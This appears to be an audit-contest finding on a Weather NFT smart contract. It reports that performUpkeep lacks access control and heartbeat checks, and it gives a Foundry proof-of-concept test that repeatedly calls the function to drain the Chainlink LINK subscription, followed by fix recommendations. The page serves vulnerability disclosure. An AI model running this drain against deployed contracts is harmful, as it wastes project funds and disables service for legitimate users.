Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted performUpkeep Allows Attacker to Drain Chainlink Automation Funds

Summary

The WeatherNft::performUpkeep function allows any external address to call it with a valid tokenId, triggering a new Chainlink Functions request and consuming LINK from the Automation subscription balance. There are no access controls or heartbeat checks to restrict how frequently this can be called. An attacker can repeatedly call performUpkeep to rapidly drain all LINK from the subscription, causing denial of service for legitimate users and disabling the NFT's automated weather updates.


Vulnerability Details

// @audit-issue No rate limiting or authorization in performUpkeep
@> function performUpkeep(bytes calldata performData) external override {
// ...
_sendFunctionsWeatherFetchRequest(pincode, isoCode);
}

Issues Identified

  1. Unrestricted LINK Drain

    • Anyone can call performUpkeep with the tokenId of an NFT, regardless of whether the heartbeat interval has passed or whether the caller is a trusted automation agent.

    • Each call triggers a Chainlink Functions request and consumes LINK from the Automation subscription balance.

    • Repeated or automated calls will quickly exhaust the LINK balance, breaking automated updates for all NFTs in the project.


Risk

Likelihood:

  • Any attacker or bot can repeatedly call performUpkeep with the same tokenId, as often as they want.

  • This attack does not require any special privileges or timing, making it trivial to exploit on a large scale.

Impact:

  • All LINK in the project's Chainlink Automation subscription can be drained, incurring significant financial loss.

  • Legitimate users lose automated weather updates for their NFTs, and the service is effectively disabled until more LINK is deposited.


Proof of Concept (PoC)

This PoC demonstrates an attacker can drain LINK by repeatedly calling performUpkeep with the same tokenId, even if the heartbeat interval has not elapsed.

PoC Explanation

  1. A legitimate user mints a Weather NFT, registering for automated weather updates. This process funds the Chainlink Automation subscription with LINK.

  2. The attacker waits for the NFT to be minted and retrieves the tokenId.

  3. The attacker then repeatedly calls performUpkeep with the same tokenId, simulating hundreds of rapid weather update requests.

  4. Each call to performUpkeep triggers a Chainlink Functions request and consumes LINK from the project's Automation subscription balance.

  5. Because there are no heartbeat checks or access controls, the attacker is able to continuously drain the LINK balance, eventually exhausting all funds allocated for automation.

  6. Once the LINK balance is depleted, legitimate users lose the ability to receive automated weather updates for their NFTs, and the automation feature is effectively disabled until the subscription is refilled.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
import {Test} from "forge-std/Test.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {Vm} from "forge-std/Vm.sol";
contract WeatherNftForkTest is Test {
WeatherNft weatherNft;
LinkTokenInterface linkToken;
address functionsRouter;
address user = makeAddr("user");
address attacker = makeAddr("attacker");
function setUp() external {
// Initialize contract addresses and user balances
weatherNft = WeatherNft(0x4fF356bB2125886d048038386845eCbde022E15e);
linkToken = LinkTokenInterface(0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846);
functionsRouter = 0xA9d587a00A31A52Ed70D6026794a8FC5E2F5dCb0;
vm.deal(user, 1000e18);
deal(address(linkToken), user, 1000e18);
// Fund the subscription for Chainlink Automation
vm.prank(user);
linkToken.transferAndCall(functionsRouter, 1e18, abi.encode(15459));
}
function test_performUpkeep_DrainLink() public {
// Mint a Weather NFT and register for automation
vm.startPrank(user);
linkToken.approve(address(weatherNft), 5e18);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}("125001", "IN", true, 12 hours, 5e18);
vm.stopPrank();
// Get the requestId for oracle fulfillment from logs
bytes32 reqId;
Vm.Log[] memory logs = vm.getRecordedLogs();
for (uint256 i = 0; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
// Simulate oracle fulfillment and complete minting
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(reqId, abi.encode(WeatherNftStore.Weather.RAINY), "");
vm.prank(user);
weatherNft.fulfillMintRequest(reqId);
// Encode tokenId for upkeep
uint256 tokenId = weatherNft.s_tokenCounter() - 1;
bytes memory performData = abi.encode(tokenId);
bool reverted = false;
// Repeatedly call performUpkeep to simulate LINK draining
// Each call will send a new weather data request, draining the Chainlink Automation subscription balance
for (uint256 i = 0; i < 100; i++) {
vm.prank(attacker);
try weatherNft.performUpkeep(performData) {
// No revert, continue testing
} catch {
// Check if the revert was due to insufficient LINK balance
reverted = true;
break;
}
}
// At least one revert must occur
assertTrue(reverted, "Should revert when LINK balance is exhausted");
}
}

Tools Used

  • Manual Review

  • Foundry Unit Testing


Recommendations

  • Enforce a Heartbeat Check
    Require that performUpkeep can only be executed if the heartbeat interval has elapsed since the last successful weather update. This prevents repeated or premature calls from consuming LINK unnecessarily.

    require(
    block.timestamp >= info.lastFulfilledAt + info.heartbeat,
    "Not time for upkeep"
    );
  • Refine Access Controls for Automated and Manual Updates
    Differentiate between NFTs registered with Chainlink Automation (having a nonzero upkeepId) and those without.

    • For automated updates (info.upkeepId != 0), allow only the Keeper Registry contract to call.

    • For manual updates (info.upkeepId == 0), allow only the NFT owner to call.

    function performUpkeep(bytes calldata performData)
    external
    override
    {
    uint256 _tokenId = abi.decode(performData, (uint256));
    WeatherNftInfo storage info = s_weatherNftInfo[_tokenId];
    // Heartbeat check
    require(
    block.timestamp >= info.lastFulfilledAt + info.heartbeat,
    "Not time for upkeep"
    );
    if (info.upkeepId != 0) {
    // Automated upkeep: only keeper registry may call
    require(msg.sender == s_keeperRegistry, "Only keeper registry");
    } else {
    // Manual update: only NFT owner may call
    require(msg.sender == ownerOf(_tokenId), "Only NFT owner");
    }
    // ... proceed with sending Chainlink Functions request ...
    }

Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `performUpkeep` function

The `performUpkeep` function should be called by the Chainlink keepers or owners of the NFT. But there is no access control and anyone can call the function. This leads to malicious consumption of the user's LINK deposit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.